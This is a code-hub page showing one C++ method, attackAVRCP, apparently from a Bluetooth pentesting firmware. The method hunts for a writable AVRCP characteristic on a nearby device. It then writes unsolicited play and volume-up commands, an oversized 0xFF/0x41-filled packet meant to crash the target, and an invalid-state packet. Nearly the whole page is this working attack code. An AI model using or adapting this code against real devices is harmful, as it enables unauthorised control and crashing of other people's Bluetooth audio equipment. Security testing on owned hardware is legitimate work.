MCPcopy Create free account
hub / github.com/BruceDevices/firmware / attackAVRCP

Method attackAVRCP

src/modules/ble/BLE_Suite.cpp:1332–1375  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

1330}
1331
1332bool AudioAttackService::attackAVRCP(NimBLERemoteService *avrcpService) {
1333 if (!avrcpService) return false;
1334 NimBLERemoteCharacteristic *pChar = nullptr;
1335 const char *avrcpUuids[] = {
1336 "b4b40101-b4b4-4a8f-9deb-bc87b8e0a8f5",
1337 "0000110e-0000-1000-8000-00805f9b34fb",
1338 "0000110f-0000-1000-8000-00805f9b34fb",
1339 nullptr
1340 };
1341
1342 for (int i = 0; avrcpUuids[i] != nullptr; i++) {
1343 pChar = avrcpService->getCharacteristic(NimBLEUUID(avrcpUuids[i]));
1344 if (pChar && pChar->canWrite()) break;
1345 }
1346
1347 if (!pChar) {
1348 const std::vector<NimBLERemoteCharacteristic *> &chars = avrcpService->getCharacteristics(true);
1349 for (auto &ch : chars) {
1350 if (ch->canWrite()) {
1351 pChar = ch;
1352 break;
1353 }
1354 }
1355 }
1356 if (!pChar) return false;
1357
1358 uint8_t playCmd[] = {0x00, 0x48, 0x00, 0x00, 0x00};
1359 uint8_t volUpCmd[] = {0x00, 0x44, 0x00, 0x00, 0x00};
1360 uint8_t oversizedPacket[256];
1361 memset(oversizedPacket, 0x41, sizeof(oversizedPacket));
1362 oversizedPacket[0] = 0xFF;
1363 oversizedPacket[1] = 0xFF;
1364 uint8_t invalidState[] = {0x00, 0xFF, 0xFF, 0xFF, 0xFF};
1365
1366 bool playSent = pChar->writeValue(playCmd, sizeof(playCmd), true);
1367 delay(200);
1368 bool volSent = pChar->writeValue(volUpCmd, sizeof(volUpCmd), true);
1369 delay(200);
1370 bool crashSent = pChar->writeValue(oversizedPacket, sizeof(oversizedPacket), true);
1371 delay(300);
1372 bool stateSent = pChar->writeValue(invalidState, sizeof(invalidState), true);
1373
1374 return (playSent || volSent || crashSent || stateSent);
1375}
1376
1377bool AudioAttackService::attackAudioMedia(NimBLERemoteService *mediaService) {
1378 if (!mediaService) return false;

Callers 2

showAudioSubMenuFunction · 0.80
executeAudioTestFunction · 0.80

Calls

no outgoing calls

Tested by

no test coverage detected